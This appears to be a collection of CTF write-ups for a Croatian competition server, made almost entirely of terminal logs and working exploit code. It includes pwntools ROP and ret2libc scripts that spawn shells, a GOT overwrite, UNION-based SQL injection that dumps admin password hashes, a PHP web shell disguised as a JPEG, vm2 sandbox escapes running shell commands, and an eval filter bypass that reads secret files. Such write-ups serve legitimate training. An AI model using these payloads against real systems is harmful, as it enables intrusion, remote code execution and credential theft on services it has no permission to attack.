$ echo "NaN" | nc chal.hackultet.hr 13017
CTF2024[491634754943]

// main.c #28
    char progress[232] = {0};
    for (int i = 0;i<3;i++){
        printTrack(strlen(progress)/5,i*23);
	    fflush(stdout);
        fgets(progress+strlen(progress),101,stdin);
    }

# cyclic from pwntools
$ cyclic 300 | ./utrka; 
You lose :(
[1]    227310 done                              cyclic 300 |
       227311 segmentation fault (core dumped)  ./utrka

$ sudo dmesg -t | tail                                                                          139 ↵
traps: utrka[228617] general protection fault ip:4019f7 sp:7fffffffd7b8 error:0 in utrka[401000+99000]
# oops we overwrote too much

$ cyclic 270 | ./utrka || sudo dmesg -t | tail;
You lose :(
[1]    229685 done                              cyclic 270 |
       229686 segmentation fault (core dumped)  ./utrka

utrka[229686]: segfault at 617263616171 ip 0000617263616171 sp 00007fffffffd7c0 error 14 likely on CPU 4(core 4, socket 0)
Code: Unable to access opcode bytes at 0x617263616147.

$ cyclic -l 0x617263616171
264

$ rz-bin -z utrka | grep "/bin/sh"
55   0x0009b005 0x0049b005 7   8    .rodata ascii   /bin/sh

$ ROPgadget --binary utrka |  grep "pop rdi ; ret"
0x00000000004880fb : add al, ch ; pop rdi ; retf 0xfff7
0x000000000040256f : pop rdi ; ret
0x00000000004880fd : pop rdi ; retf 0xfff7

$ nm utrka | grep system
000000000040ba00 t do_system
000000000040be70 T __libc_system
000000000040be70 W system
00000000004b0940 r system_dirs

ROPgadget --binary utrka | grep ": ret$"
0x000000000040101a : ret

from pwn import *

#b = process("./utrka")
b = remote("chal.hackultet.hr", "13015")

p = b'a'*264 # padding

p += p64(0x40256f) # pop rdi; ret gadget
p += p64(0x49b005) # /bin/sh

p += p64(0x40101a) # ret for padding the call to system

p += p64(0x40be70) # system
p += b"\x00\x00\x00\x00\x00\x00\x00\x00" # some more padding
# the additional padding is not strictly needed, but it makes the program behave better

b.send(p)
b.interactive()

$ py exp.py

$ ls
busybox
flag.txt
opponentCar.txt
systemOwnFlag.txt
track.txt
utrka
yourCar.txt

$ cat flag.txt
CTF2024[395847397764]

$ cat systemOwnFlag.txt
CTF2024[223653716405]

|--------------------------|
| combatant1 (32 bytes)    |
|--------------------------|
| combatant1->background    |
| (64 bytes)               |
|--------------------------|
| combatant2 (32 bytes)    |
|--------------------------|
| combatant2->background   |
| (64 bytes)               |
|--------------------------|

[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e20a60
[0x404020] fclose@GLIBC_2.2.5 -> 0x401040
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050
[0x404030] printf@GLIBC_2.2.5 -> 0x401060
[0x404038] fgetc@GLIBC_2.2.5 -> 0x401070
[0x404040] srand@GLIBC_2.2.5 -> 0x401080
[0x404048] fgets@GLIBC_2.2.5 -> 0x401090
[0x404050] strcmp@GLIBC_2.2.5 -> 0x4010a0
[0x404058] feof@GLIBC_2.2.5 -> 0x4010b0
[0x404060] time@GLIBC_2.2.5 -> 0x4010c0
[0x404068] tolower@GLIBC_2.2.5 -> 0x4010d0
[0x404070] malloc@GLIBC_2.2.5 -> 0x7ffff7e44920
[0x404078] fflush@GLIBC_2.2.5 -> 0x7ffff7e1e760
[0x404080] fopen@GLIBC_2.2.5 -> 0x401100
[0x404088] __isoc99_scanf@GLIBC_2.7 -> 0x401110
[0x404090] fwrite@GLIBC_2.2.5 -> 0x401120
[0x404098] sleep@GLIBC_2.2.5 -> 0x7ffff7e9ca90
[0x4040a0] rand@GLIBC_2.2.5 -> 0x401140

from pwn import *

p = remote("chal.hackultet.hr", 13018)
#p = proccess("./bitka")

elf = ELF("./bitka", checksec = False)

rand_got = p64(elf.got["rand"])

win_addr = p64(elf.sym["trueWinner"])

payload = b"a\nvitez\n10\n";
payload += b"a" * 104 + rand_got + b"\n"
payload += b"a\nvitez\n10\n"
payload += win_addr + b"\n"

p.send(payload)

p.interactive()

#include <stdio.h>

char padding[3000];
char array[100];

int func(int a);
void vuln();

int main(int argc, char const *argv[])
{   
    puts("Welcome");
    fgets(array,100,stdin);
    func(50);
    puts("Goodbye");
    return 0;
}

int func(int a){
    vuln();
    return a + 10;
}

void vuln(){
    long longs[6];
    fgets(longs,56,stdin);
}

// Function epilogue
mov rsp, rbp;
pop rbp;
ret;

# in func
   0x00000000004011cf <+25>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011d2 <+28>:    add    eax,0xa
   0x00000000004011d5 <+31>:    leave
   0x00000000004011d6 <+32>:    ret

# in main
   0x000000000040119b <+69>:    call   0x4011b6 <func>
   0x00000000004011a0 <+74>:    lea    rax,[rip+0xe65]        # 0x40200c
   0x00000000004011a7 <+81>:    mov    rdi,rax
   0x00000000004011aa <+84>:    call   0x401050 <puts@plt>

from pwn import *

context.binary = elf = ELF("./file")
rop = ROP(elf)
libc = ELF("./libc.so.6")
rop_libc = ROP(libc)
ld = ELF("./ld-linux-x86-64.so.2")
# Pwntools allows us to call the binary with the libc provided in the challenge
io = process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# io = remote("chal.hackultet.hr", 13014)


# Exploit part 1
offset = 48

puts = p64(elf.plt['puts'])
fgets = p64(elf.plt['fgets'])
func_set_eax = p64(0x4011cf)
pop_rbp = p64(0x000000000040113d)

rbp = p64(elf.sym.array + 36)
got_leak = elf.got['puts'] - 0xa
saved_rbp = p64(0x7ffdde6a4600)
main_call_puts = p64(0x00000000004011a7)

array_payload = b"B" * 8 + pop_rbp + rbp + func_set_eax + p64(got_leak) + b"E" * 4 + pop_rbp + p64(elf.sym.array + 64) + main_call_puts + b"E" * 4 + pop_rbp + saved_rbp + p64(elf.sym.main)
overflow_payload = b"A" * offset + p64(elf.sym.array)

io.recvuntil(b"Welcome\n")
io.sendline(array_payload)
io.send(overflow_payload[:len(overflow_payload) - 1])

# Exploit part 2
libc_leak_got_puts = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
puts_offset = libc.symbols['puts']
libc.address = libc_leak_got_puts - puts_offset
system_addr = p64(libc.symbols['system'])

pop_rdi = p64(libc.address + rop_libc.find_gadget(['pop rdi', 'ret'])[0])
bin_sh = p64(next(libc.search(b'/bin/sh')))

print(hex(u64(pop_rdi)))
print(hex(u64(bin_sh)))
print(hex(u64(system_addr)))

array_payload2 = b"A" * 16 + pop_rdi + bin_sh + system_addr
overflow_payload2 = b"A" * offset + p64(elf.sym.array)

io.sendline(array_payload2)
io.send(overflow_payload2[:len(overflow_payload) - 1])

io.interactive()

from pwn import *

context.binary = elf = ELF("./file")
rop = ROP(elf)
libc = ELF("./libc.so.6")
rop_libc = ROP(libc)
ld = ELF("./ld-linux-x86-64.so.2")
io = process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# io = remote("chal.hackultet.hr", 13014)

offset = 48

puts = p64(elf.plt['puts'])
fgets = p64(elf.plt['fgets'])
func_set_eax = p64(0x4011cf)
pop_rbp = p64(0x000000000040113d)

rbp = p64(elf.sym.array + 36)
leak = elf.got['puts'] - 0xa
saved_rbp = p64(0x7ffdde6a4600)
main_call_puts = p64(0x00000000004011a7)

array_payload = b"B" * 8 + pop_rbp + rbp + func_set_eax + p64(leak) + b"E" * 4 + pop_rbp + p64(elf.sym.array + 64) + main_call_puts + b"E" * 4 + pop_rbp + saved_rbp + p64(elf.sym.main)
overflow_payload = b"A" * offset + p64(elf.sym.array)

io.recvuntil(b"Welcome\n")
io.sendline(array_payload)
io.send(overflow_payload[:len(overflow_payload) - 1])

libc_leak_got_puts = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
puts_offset = libc.symbols['puts']
libc.address = libc_leak_got_puts - puts_offset
system_addr = p64(libc.symbols['system'])

pop_rdi = p64(libc.address + rop_libc.find_gadget(['pop rdi', 'ret'])[0])
bin_sh = p64(next(libc.search(b'/bin/sh')))

print(hex(u64(pop_rdi)))
print(hex(u64(bin_sh)))
print(hex(u64(system_addr)))

array_payload2 = b"A" * 16 + pop_rdi + bin_sh + system_addr
overflow_payload2 = b"A" * offset + p64(elf.sym.array)

io.sendline(array_payload2)
io.send(overflow_payload2[:len(overflow_payload) - 1])

io.interactive()

# How to open up the side by side view of gdb and pwntools
# For this to work your terminal needs to be in a tmux session
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io, """
	<gdb commands can go in here>   
""")

$ nc chal.hackultet.hr 13016                                                                                                                                                                               130 ↵
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
Opis igre

Bit ce vam dano 7 karata sa slucajno odabranim znakovima od 13 mogucih iz standardnog 52-kartaskog spila. Boje pik, herc, karo
i tref nece biti zadane. Broj karata u spilu jest beskonacan.

Vas cilj jest sakupiti 7 razlicitih najjacih karti. Slijed snage karata jest isti kao i u standardnom spilu, gdje je dvojka (2) najslabija.

Dane su vam 3 opcije jednom kada igra zapocne: premjesti, ukloni te vuci.
Opciju birate unosom odgovarajuceg broja (1 za premjesti, 2 za ukloni i 3 za vuci).
Odabirom 1. opcije premjesti, mozete premjestiti pozicije dviju karata vaseg odabira (ukljucuje prazne pozicije).
Da odaberete 2 pozicije, bit ce vam ponuden selektivan unos za 2 broja koji moraju biti odvojeni razmakom.
Druga opcija daje mogucnost uklanjanja karata vaseg odabira iz trenutne ruke. Na mjestu uklonjenih karti preostati ce prazna pozicija.
Treca i posljednja opcija jest opcija vuci. Ako vam trenutna ruka sadrzi manje od 7 karata,prazna pozicija na najnizem indeksu jest popunjena
novom kartom. Ako vam ruka sadrzi 7 karata, karta na indeksu 7 biti ce zamijenjena novom.Medutim, postoji "kvaka".
Ako se odlucite za opciju vuci dok vam ruka sadrzi 7 karata te kartu koju ste izvukli vec imate u ruci, izgubili ste.
Dijalog igre vam nece prikazati koju kartu ste izvukli,ali ne brinite, igra vas nece prevariti :).

*Did you hear about the sticky deck, it was hard to deal with.


 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 6 || Q || K || J || K || 2 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 6 || Q || K || J || K || 2 || A |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

// karte.c #51
do
{
    while ((input[0] = getchar()) != '\n' && input[0] != EOF);
    printCards();
    puts("Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci");
    scanf("%c", input);
    switch (input[0])
    ...
} while (check() == 1);

// karte.c #199
int check()
{
    for(int i = 0;i<7;i++){
        if (playingCards[i] == NULL)
            return 1;
    }
    int sum = 0;
    for (int i = 0; i < 7; i++)
    {
        for (int j = i + 1; j < 7; j++)
        {
            if (playingCards[i]->value == playingCards[j]->value)
                return 1;
        }
        sum += playingCards[i]->value;
    }
    if (sum == 638)
        return 0;
    else
        return 1;
}

Python 3.12.3 (main, Apr 23 2024, 09:16:07) [GCC 13.2.1 20240417] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> sum([ord(x) for x in "akqjt98"])
652
>>> sum([ord(x) for x in "akqjt23"])
640
>>> sum([ord(x) for x in "akqj923"])
581

$ ./karte
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
[1]    245114 segmentation fault (core dumped)  ./karte

$ echo "according to all known laws of aviation there is no way a bee should be able to fly" > description.txt
$ ./karte
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
according to all known laws of aviation there is no way a bee should be able to fly

 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| T || 3 || K || 3 || 7 || 4 || T |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| T || 3 || K || 3 || 7 || 4 || O |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci

$ cppcheck karte.c
Checking karte.c ...
karte.c:111:9: error: Uninitialized struct member: c.value [uninitStructMember]
    if (c->value == 0)
        ^
Active checkers: 40/565

// karte.c #108
void draw()
{
    struct card *c = (struct card *)malloc(sizeof(struct card));
    if (c->value == 0)
    {
        c->value = values[rand() % 13];
    }

    for (int i = 0; i < 7; i++)
    {
        if (playingCards[i] == NULL)
        {
            playingCards[i] = c;
            return;
        }
    }
    for (int i = 0; i < 7; i++)
    {
        if (c->value == playingCards[i]->value)
        {
            puts("Kartu koju ste izvukli vec imate u ruci. Izgubili ste :(");
            exit(0);
        }
    }
    playingCards[6] = c;
}

# breaker.py
from pwn import *
p = remote("chal.hackultet.hr", "13016")
p.sendline(b"1")

p.recvuntil(b"\n\n\n")

def getCards(prt = True):
    if prt:
        print(p.recvline().decode(), end="")
        print(p.recvline().decode(), end="")
        print(a := p.recvline().decode(), end="")
        print(p.recvline().decode(), end="")
        print(p.recvline().decode(), end="")
    else:
        p.recvline()
        p.recvline()
        a = p.recvline().decode()
        p.recvline()
        p.recvline()
    return a

a = getCards()

bad_cards = ['A', 'K', 'J', 'T']
# All the cards you can pull from uninitialized data before
# you pull a char that isn't in 23456789akqjt
# why did you do this Benjamin

if any([x in a for x in bad_cards]):
    print("Got bad cards: ", [(x, x in a) for x in bad_cards])
p.recvuntil(b"Vuci", timeout=1)
# timeout used to prevent locking on stdout

def case3(prt = False): # pull a card
    p.sendline(b"3")
    p.recvline()
    out = getCards(prt)
    p.recvuntil(b"Vuci", timeout=1)
    return out
def caseq(prt = False): # remove last card
    p.sendline(b"2 7") # this works
    p.recvline()
    out = getCards(prt)
    p.recvuntil(b"Vuci", timeout=1)
    return out

while True:
    match input('> '):
        case 'q': caseq(True)
        case '3': case3(True)
        case 'r': # automate getting to the cool char
            while True:
                caseq()
                a = case3()
                if not all([x in '0123456789AKQJT |\n' for x in a]):
                    print([x for x in a if not x in '0123456789AKQJT |\n'])
                    print(a)
                    print("GOOD STUFF")
                    break
                if any([x in a for x in bad_cards]): 
                    print("Pulled a bad card, trying another")
                    print([(x, x in a) for x in bad_cards])
                else:
                    a = case3(True)
                    c = a[32]
                    if not c in '0123456789AKQJT |\n':
                        print("GOT THE THING!!!")
                        print(c)
                        p.interactive()
                        break
        case x: # default case, just send it raw
            p.sendline(x.encode())
            print(p.recvuntil(b"Vuci", timeout=1).decode())

$ py breaker.py                                                                                130 ↵
[+] Opening connection to chal.hackultet.hr on port 13016: Done
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || T || 3 || 7 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
Got bad cards:  [('A', False), ('T', True), ('K', False), ('J', False)]
> 2 4 # cleanup

Odaberite indeks karte koju zelite ukloniti
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 ||   || 3 || 7 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
> 3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
> r
Pulled a bad card, trying another
[('A', False), ('T', False), ('K', True), ('J', False)]
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || A |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || A |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.


// a bunch of lines cut


___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || T |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
Pulled a bad card, trying another
[('A', False), ('T', False), ('K', False), ('J', True)]
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || * |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
GOT THE THING!!!
*
[*] Switching to interactive mode

$

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
$ 3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| K || J || A || Q || T || 9 || * |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿
⣿⣿⡀⠀⠀⢸⣿⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⢻⣿⠏⠀⠀⠹⣿⣿
⣿⣿⣷⣄⣰⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⠙⠻⢿⣿⣿⣿⣦⣄⣠⣴⣿⣿
⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣧⡈⠁⠀⠉⠉⠉⠁⢸⣿⣿⣿⣿⡟⢻⣿⣿⣿
⣿⣿⣿⡇⣿⣿⡿⠋⠉⢤⡹⣿⣿⠀⠠⠀⠀⠀⢹⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣷⠀⠚⡪⠴⠿⠿⠀⠠⠁⣠⣄⠘⠿⠿⠛⢿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⡄⠀⠉⠀⠀⠀⠀⠀⠀⠙⠻⣷⣇⢸⠬⠂⡇⢸⣿⣿⣿
⣿⣿⣿⡇⡟⠋⠙⣷⣤⣤⡄⠀⠀⠀⠀⠀⠀⠀⠞⠛⠈⠂⠀⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣷⡐⢋⢘⣿⣿⠇⠀⠀⠀⠀⢀⣄⡀⢀⡠⠂⠻⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣷⣶⡿⠋⠁⠀⠀⠀⠀⠀⠸⣿⣿⡟⠕⠡⢎⣼⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣤⠊⠀⠀⢀⠀⠀⠀⠀⢻⣿⣏⠴⢲⢸⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⡿⠁⠀⠀⣤⣾⡀⠀⠀⢀⢀⣸⣿⡜⢚⣣⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣷⣤⡀⠀⠈⠻⢿⡄⠀⠸⣿⢏⠄⠈⢻⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣶⠀⠀⠈⠁⠀⢠⣧⡐⠐⣱⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣁⣠⠄⠀⠠⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣿⢿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⣇⣿⣿⣿⣿⡿⠇⠀⠠⠀⠀⠀⠀⠆⠀⢼⣿⣿⣿⣿⣿⣸⣿⣿⣿
⣿⣿⣿⠟⠻⣿⣿⣿⣿⣶⣿⣶⣷⣶⣶⣶⣶⣷⣾⣿⣿⣿⣿⡟⠻⣿⣿⣿
⣿⣿⠋⠀⠀⠙⣿⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣻⣿⡋⠀⠀⠙⣿⣿
⣿⣿⣦⣄⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⣠⣾⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

CTF2024[285106921365]
[*] Got EOF while reading in interactive

# /robots.txt

User-agent: LukinCrawler
Disallow:

Sitemap: http://chal.hackultet.hr:13008/sitemap-index.xml

User-agent: *
Disallow: /

<!-- /sitemap-index.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <url>
        <loc>/index.html</loc>
        <priority>1.0</priority>
    </url>
    <url>
        <loc>/books/VlaukUSnijegu.html</loc>
        <priority>0.8</priority>
    </url>
    <url>
        <loc>/books/ZlocinIKazna.html</loc>
        <priority>0.8</priority>
    </url>
    <url>
        <loc>/books/RobotsRobotsEverywhere.html</loc>
        <priority>0.8</priority>
    </url>
    <url>
        <loc>/private/secret001425346.html</loc>
        <priority>0.1</priority>
    </url>
</urlset>

# /private/secret001425346.html
= CTF2024[278975176357]

$ curl -X OPTIONS http://chal.hackultet.hr:13000 --verbose
* Host chal.hackultet.hr:13000 was resolved.
* IPv6: (none)
* IPv4: 161.53.195.113
*   Trying 161.53.195.113:13000...
* Connected to chal.hackultet.hr (161.53.195.113) port 13000
> OPTIONS / HTTP/1.1
> Host: chal.hackultet.hr:13000
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 204 No Content
< X-Powered-By: Express
< Allow: OPTIONS, GET, HEAD, POST, UNLOCK
< Date: Mon, 06 May 2024 15:34:50 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host chal.hackultet.hr left intact

# Unlock sounds about right
$ curl -X UNLOCK http://chal.hackultet.hr:13000 --verbose
* Host chal.hackultet.hr:13000 was resolved.
* IPv6: (none)
* IPv4: 161.53.195.113
*   Trying 161.53.195.113:13000...
* Connected to chal.hackultet.hr (161.53.195.113) port 13000
> UNLOCK / HTTP/1.1
> Host: chal.hackultet.hr:13000
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 204 No Content
< X-Powered-By: Express
< Flag: = CTF2024[377047112007]
< Date: Mon, 06 May 2024 15:35:19 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host chal.hackultet.hr left intact

$ echo "bnVsbA==" | base64 -d
null

$ echo -n "admin" | base64 # echo adds a newline by default
YWRtaW4=

$ curl "http://chal.hackultet.hr:13010/profile/YWRtaW4="
<!DOCTYPE html>
<html lang="hr">
... 
    <h5 class="card-title">Korisničko ime: admin</h5>
    <p class="card-text">Tajna: CTF2024[556461166162] IDOR vulnerability</p>
...
</html>

# /robots.txt
User-agent: *
Disallow: /userView
Disallow: /adminView

6' UNION SELECT NULL, NULL, NULL --

Output:
    Godina: null Predmet: null Ocjena: null

6' UNION SELECT table_schema, table_name, 1 FROM information_schema.tables --

Output:
    Godina: 1 Predmet: pg_catalog Ocjena: pg_prepared_xacts
    Godina: 1 Predmet: pg_catalog Ocjena: pg_stat_bgwriter
...
    Godina: 1 Predmet: public Ocjena: admins_table
...

6' UNION SELECT table_name, column_name, 1 FROM \
information_schema.columns WHERE table_name='admins_table' --

Output:
    Godina: 1 Predmet: admins_table Ocjena: passwordhash
    Godina: 1 Predmet: admins_table Ocjena: username

6' UNION SELECT username, passwordhash, 1 FROM admins_table --

Output:
    Godina: 1 Predmet: IvoAdmin Ocjena: 735d1e1f8d9277f8ed1dcca80c587ff2afd9af1cb864bea8132c6c188dc9d0b2
    Godina: 1 Predmet: JosipAdmin Ocjena: 55762a91364cb53ae97f8979386d7d64d8eceb97d551ea57ce6f05cc036f39a8

$ for i in {0..4}
for> do curl 'http://chal.hackultet.hr:13006/discount' -X POST -H 'Cookie: connect.sid=...' &
for> done
... a bunch of requests get sent ...

<?php system($_GET['cmd']); ?>

$ echo "\xff\xd8\xff\xe0<?php system(\$_GET['cmd']); ?>" > sh.jpg
$ file sh.jpg
sh.jpg: JPEG image data

# /uploads/5d5e76944b9a2ab9_sh.phtml
����
Warning: Undefined array key "cmd" in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1

Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1

Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml:1 Stack trace: #0 /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml(1): system('') #1 {main} thrown in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1

$ curl "http://chal.hackultet.hr:13009/uploads/5d5e76944b9a2ab9_sh.phtml?cmd=ls"
����4277f467626f2d0e_sh.jpg
5d5e76944b9a2ab9_sh.phtml
989d09932851733f_sh.jpg
cc753ab8e590981a_sh.jpg
index.html

# you need to encode the spaces
$ curl "http://chal.hackultet.hr:13009/uploads/5d5e76944b9a2ab9_sh.phtml?cmd=ls%20.."
����footer.php
header.php
health
index.php
sea.jpg
seashells.jpg
style.css
uploads
user.php

...
$ curl "http://[URL]?cmd=cat%20../../../admin_bitno/db/users.db" > users.db

$ clippaste | base64 -d
CTF2024[778083801487]

...
    try{

      const result = await vm.run( userInput, 'vm.js' );


      console.log("vm run ",result);

      const data = { 
        calculation: result
      }

      res.render("index",data)

  }
...

...
    "node_modules/vm2": {
      "version": "3.9.0",
      "resolved": "https://registry.npmjs.org/vm2/-/vm2-3.9.0.tgz",
      "integrity": "sha512-Bsnvxu50AryMYOsarSAuFmmAQO5X/H5fF/VCVkcDKTj3slrpHQuepUP45U90aaqjk4OdNmlmHfoF6oou3aUJRw==",
      "deprecated": "The library contains critical security issues and should not be used for production! The maintenance of the project has been discontinued. Consider migrating your code to isolated-vm.",
      "bin": {
        "vm2": "bin/vm2"
      },
      "engines": {
        "node": ">=6.0"
      }
    }
...

const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("ls").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }

const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("cat s3cr3tf01d3r/f14g_048x6z43y7.txt").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }

function FilterOutput(output) {

  corectness = true

  forbiddenWords = ["CTF2024","4202FTC","flag","server.js"] 

  for (const s of forbiddenWords){
    
    if (String(output).toUpperCase().includes(s.toUpperCase())){

      console.log("Forbidden output --")
      corectness = false;
      break

    }

  }

  return corectness;
}


function FilterInput(input) {

  corectness = true

  forbiddenLogic = ["while","for","eval","app","module","fs","global","object","window",
  "error","throw","name","proxy","args"]
  
  
  forbiddenWords = ["CTF2024","4202FTC","forbiddenLogic","forbiddenWords","calculation","userInput","flag",
  "FilterInput","FilterOutput","corectness","bodyParser","staticPath","path","data"]

  
  for (const s of forbiddenLogic.concat(forbiddenWords)){

    if ( input.toUpperCase().includes(s.toUpperCase()) ){


      console.log("Forbidden input -- ", s)
      corectness = false;
      break
    }

  }

  return corectness;
}

...

app.post('/postData', async function (req, res) {
  
  userInput = req.body.calc1
  inputCorrectness = FilterInput(userInput);

  if (inputCorrectness == true) {

    console.log(userInput);

    try{

      var calculation = eval(
        
        "PI_Digits = 3141592;" + 
        "TEN = 10;" + 
        "LuckyNumber = 7;" + 

        "function Bin(x) { return  parseInt(x).toString(2)} " + 
        "function Hex(x) { return  parseInt(x).toString(16)} " + 
        "function Octal(x) { return  parseInt(x).toString(8)} " + 
        "function Tern(x) { return  parseInt(x).toString(3)} " + 
        "function Sept(x) { return  parseInt(x).toString(3)} " + 

        userInput
        
      );
      

      outputCorrectness = FilterOutput(calculation)

      if (outputCorrectness == true) {

        const data = { 
          calculation: calculation
        }

        res.render("index",data)

      }
      else{

        const data = { 
          message: "Forbidden output"
        }
        
        res.render("error",data)

      }

    }

    catch(error){

      const data = { 
        message: error
      }
      
      res.render("error",data)
    }

  }

  else{

    const data = { 
      message: "Forbbidden input"
    }

    res.render("error",data)
  }


});

...

btoa(require('ps'.replace("p", "f")).readFileSync("fl4g_035z6s43x6.txt"))

# app.py #96
elif request.method == 'POST':
    try:
        cursor.execute(f"SELECT * FROM {table_name} WHERE user = '{username}'")
        ...

$ curl -X POST http://chal.hackultet.hr:13002/register \
--data "username=' OR 1=1 UNION SELECT NULL, name, NULL \
FROM sqlite_master WHERE type='table' --\
&password=password&passwordCheck=password" \
--verbose;
...
< Set-Cookie: session=...; HttpOnly; Path=/
...

$ curl -X POST http://chal.hackultet.hr:13002/ -H "Cookie: session=..."
...
<li class="subtitle is-4 task-item">
    ID: None | User: SECRET_CONF  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: None | User: table_3cb6fee62507_todolist  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

